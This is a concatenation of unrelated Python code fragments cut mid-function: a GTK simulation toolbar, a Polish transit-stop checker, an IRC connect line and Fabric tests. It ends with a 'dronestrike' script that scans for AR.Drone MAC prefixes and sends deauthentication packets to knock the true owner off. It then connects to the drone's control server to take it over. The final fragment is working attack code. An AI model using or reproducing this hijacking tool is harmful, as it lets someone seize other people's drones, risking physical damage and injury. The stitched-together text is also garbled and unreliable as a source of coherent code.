toolbar.insert(self.tb_run_scan, pos) self.tb_run_scan.set_sensitive(False) pos=pos+1 if debug_mode()==True: image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"fit.png")) self.tb_run_fit = gtk.ToolButton(image) self.tb_run_fit.connect("clicked", self.callback_run_fit) self.tooltips.set_tip(self.tb_run_fit, _("Run a fit command")) toolbar.insert(self.tb_run_fit, pos) self.tb_run_fit.set_sensitive(True) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"pause.png")) self.stop = gtk.ToolButton(image ) self.tooltips.set_tip(self.stop, _("Stop the simulation")) self.stop.connect("clicked", self.callback_simulate_stop) toolbar.insert(self.stop, pos) pos=pos+1 sep = gtk.SeparatorToolItem() sep.set_draw(True) sep.set_expand(False) toolbar.insert(sep, pos) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"scan.png")) self.param_scan = gtk.ToolButton(image) self.param_scan.connect("clicked", self.callback_scan) self.tooltips.set_tip(self.param_scan, _("Parameter scan")) toolbar.insert(self.param_scan, pos) pos=pos+1 sep = gtk.SeparatorToolItem() sep.set_draw(True) sep.set_expand(False) toolbar.insert(sep, pos) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"plot.png")) self.plot_select = gtk.MenuToolButton(image,"hello") self.tooltips.set_tip(self.plot_select, _("Find a file to plot")) self.plotted_graphs = used_files_menu() self.plot_select.set_menu(self.plotted_graphs.menu) toolbar.insert(self.plot_select, pos) self.plot_select.connect("clicked", self.callback_plot_select) self.plot_select.set_sensitive(False) pos=pos+1 #image = gtk.Image() #image.set_from_file(os.path.join(get_image_file_path(),"refresh.png")) #self.plot_open = gtk.ToolButton(image) #self.tooltips.set_tip(self.plot_open, "Replot the graph") #toolbar.insert(self.plot_open, pos) #self.plot_open.set_sensitive(False) #os=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"plot_time.png")) self.examine = gtk.ToolButton(image) self.tooltips.set_tip(self.examine, _("Examine results in time domain")) self.examine.connect("clicked", self.callback_examine) toolbar.insert(self.examine, pos) pos=pos+1 sep = gtk.SeparatorToolItem() sep.set_draw(True) sep.set_expand(False) toolbar.insert(sep, pos) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"time.png")) self.experiment_window_button = gtk.ToolButton(image) self.tooltips.set_tip(self.experiment_window_button, _("Edit the time mesh")) self.experiment_window_button.connect("clicked", self.callback_edit_experiment_window) toolbar.insert(self.experiment_window_button, pos) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"spectrum.png")) self.examine = gtk.ToolButton(image) self.tooltips.set_tip(self.examine, _("Frequency domain mesh editor")) self.examine.connect("clicked", self.callback_fxexperiment_window) toolbar.insert(self.examine, pos) pos=pos+1 sep2 = gtk.SeparatorToolItem() sep2.set_draw(False) sep2.set_expand(True) toolbar.insert(sep2, pos) pos=pos+1 help = gtk.ToolButton(gtk.STOCK_HELP) self.tooltips.set_tip(help, "Help") help.connect("clicked", self.callback_help) toolbar.insert(help, pos) pos=pos+1 #quittb = gtk.ToolButton(gtk.STOCK_QUIT) #self.tooltips.set_tip(quittb, "Quit") #toolbar.insert(quittb, pos) #quittb.connect("clicked", gtk.main_quit) #pos=pos+1 new_sim.connect("clicked", self.callback_new) open_sim.connect("clicked", self.callback_open) #self.save_sim.connect("clicked", self.callback_export) #self.plot_open.connect("clicked", self.callback_plot_open) toolbar1=self.make_tool_box1() toolbar.show_all() main_vbox.pack_start(self.menubar, False, True, 0) handlebox = gtk.HandleBox() handlebox.set_snap_edge(gtk.POS_LEFT) handlebox.show() toolbar.set_size_request(1000, -1) tb_vbox=gtk.VBox() tb_vbox.add(toolbar) tb_vbox.add(toolbar1) tb_vbox.show() handlebox.add(tb_vbox) main_vbox.pack_start(handlebox, False, False, 0) self.window.connect("delete-event", self.callback_close_window) self.win_list.set_window(self.window,"main_window") self.menubar.show() self.make_window2(main_vbox) self.window.show() process_events()
print("Badana zmienna: stop_position") t3.checker(baza, stop_position, bez_ref_stops, small_ref, bad_name_stops, error) print("________________________________") print("Badana zmienna: bus_stop") t3.checker(baza, bus_stop, bez_ref_stops, small_ref, bad_name_stops, error) print("________________________________") print("Badana zmienna: tram_stop") t3.checker(baza, tram_stop, bez_ref_stops, small_ref, bad_name_stops, error) print("________________________________") print("Badana zmienna: platform") t3.checker(baza, platform, bez_ref_plat, small_ref, bad_name_plat, error) print("________________________________") print("Badana zmienna: bad_stop_position") t3.checker(baza, bad_stop_position, another_error, another_error, another_error, error) print("________________________________") #print(len(baza)) t1.take(baza, "stopy.txt", brak_id, brak_temp) t4.make_json(brak_id, "brak_id.geojson") t4.make_json(brak_temp, "brak_temp.geojson") t4.make_json(bez_ref_stops, "bez_ref_stops.geojson") t4.make_json(bez_ref_plat, "bez_ref_plat.geojson") t4.make_json(bad_name_stops, "bad_name_stops.geojson") t4.make_json(bad_name_plat, "bad_name_plat.geojson") t4.make_json(another_error, "another_error.geojson") t4.make_json(small_ref, "small_ref.geojson") if start == 't': t5.server() else: print("Ok...kończę pracę!")
import server serv = server.server("irc.epiknet.org", port=6667, nick="Bainos")
@server() @mock_streams('both') def test_warn_only_does_not_imply_hide_everything(self): run("ls /simple", warn_only=True) assert sys.stdout.getvalue() != "" class TestMultipleOKReturnCodes(FabricTest): @server(responses={'no srsly its ok': ['', '', 1]}) def test_expand_to_include_1(self): with settings(quiet(), ok_ret_codes=[0, 1]): eq_(run("no srsly its ok").succeeded, True) slow_server = server(responses={'slow': ['', '', 0, 3]}) slow = lambda x: slow_server(raises(CommandTimeout)(x)) class TestRun(FabricTest): """ @server-using generic run()/sudo() tests """ @slow def test_command_timeout_via_env_var(self): env.command_timeout = 2 # timeout after 2 seconds with hide('everything'): run("slow") @slow def test_command_timeout_via_kwarg(self): with hide('everything'):
def main(): tmpfile = "/tmp/dronestrike" #temp file to save the output of airodump library drone_macs = ['90:03:B7','A0:14:3D', '00:12:1C', '00:26:7E'] #Array of the first 6 bytes that are in the mac addresses of any drone #These values are found in the drone manual interface = "wlan5" #The name of the first wireless interface that I will use it to hijack interface2 = "wlan7" #The name of the second interface to control the hijacked drone # paths to applications dhclient = "dhclient" iwconfig = "iwconfig" ifconfig = "ifconfig" airmon = "airmon-ng" aireplay = "aireplay-ng" aircrack = "aircrack-ng" airodump = "airodump-ng" execute(ifconfig +' ' + interface +' down') #pu the interface down airmon_process = execute(airmon + ' start ' + interface) #putting interface in the monitor mode mon_interface = 'mon0' cmd1 = 'sudo %s --output-format csv -w %s %s >>/dev/null 2>>/dev/null' %(airodump, tmpfile,interface) print cmd1 #running the airmonitor tool to capture all traffic in the air that we will analyze it later on airodump_process = execute2(cmd1) print airodump_process.pid time.sleep(3) # wait 3 seconds ... enough time to capture almost all wireless connections execute('sudo kill '+str(airodump_process.pid)) time.sleep(1) execute('sudo kill -HUP ' +str(airodump_process.pid)) time.sleep(1) execute('sudo kill -9 ' + str(airodump_process.pid)) time.sleep(1) execute('sudo killall -9 ' + aireplay + ' '+ airodump) #make sure that airmonitor is killed my_drone = '90:03:B7:34:3B:02' #This is the make address of my drone so that I do NOT hijack myself #TO-DO make this variable an array that contains my drone and all hijacked drones, so whenever I hijcak one I don't hijack it again f = open(tmpfile+'-01.csv', 'rb') #reading the output of air-monitor tool tmp_file = f.read() drones = [] for mac in drone_macs: #finding all drones in the air pattern = '^(%s.[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),' %(mac) val = re.findall(pattern ,tmp_file, re.MULTILINE) drones += val clients =[] for mac in drone_macs: #finding all clients connected to the drones pattern = '^([\w:]+).*\s(%s.[\w:]+),' % (mac) val = re.findall(pattern, tmp_file, re.MULTILINE) clients += val print "Found %i drone(s)" %(len(drones)) for d in drones: print d # printing the result #raw_input("press Enter to Continue") # if len(drones) == 0: # print "No drones \nexitting ..." # return print "Found %i client(s)" %(len(clients)) for c in clients: print c #printing the clients #raw_input("press Enter to Continue") execute('sudo rm '+tmpfile+'-01.csv') #removing the temp file # now, disconnect the TRUE owner of the drone. for c in clients: if(c[0])=='BSSID': #sometimes the air-mon tool returns an empty client has the word BSSID so this if condition to bypass that glitch continue d = find_drone(c[1], drones) print "Found client (" + str(c[0]) + ") connected to " + str(d) #res = raw_input("You want to disconnect the client?? [Y/N]\n") #if res == 'Y' or res =='y': #after finding the connected drone, excluding mine, I will start to send the de-auth packets if my_drone not in d: # cmd = 'sudo ' + iwconfig + ' ' + interface + ' channel ' + str(d[1]) #print cmd execute(cmd) time.sleep(2) print "Disconnecting the true owner of the drone ;)\n\n" cmd = aireplay + " -0 20 -a " + str(d[0])+ " -c " + str(c[0]) + " "+ interface #print cmd execute(cmd) time.sleep(2) airmon_process = execute(airmon + ' stop mon0') #Disabling the monitor mode # connect to each drone and run our zombie client! for d in drones: #res = raw_input("You want to connect to the drone ?? [Y/N]") #if res == 'Y' or res =='y': if my_drone not in d: print "\n\nConnecting to the hijacked drone\n" cmd = "sudo "+iwconfig+" "+interface2+" essid " +d[2] #print cmd execute(cmd) print "Acquiring IP from drone for hostile takeover\n" cmd = "sudo " +ifconfig+" "+interface2+ " 192.168.1.10" #setting the up statically, because sometimes the drone rejects to give us an IP using the dhcp server installed on the drone execute(cmd) execute('reset') execute('clear') print "\t\t\tTAKING OVER DRONE\n" server.server('192.168.1.1', 6665) #connecting to the drone server that is on ip 192.168.1.1 and make the panda board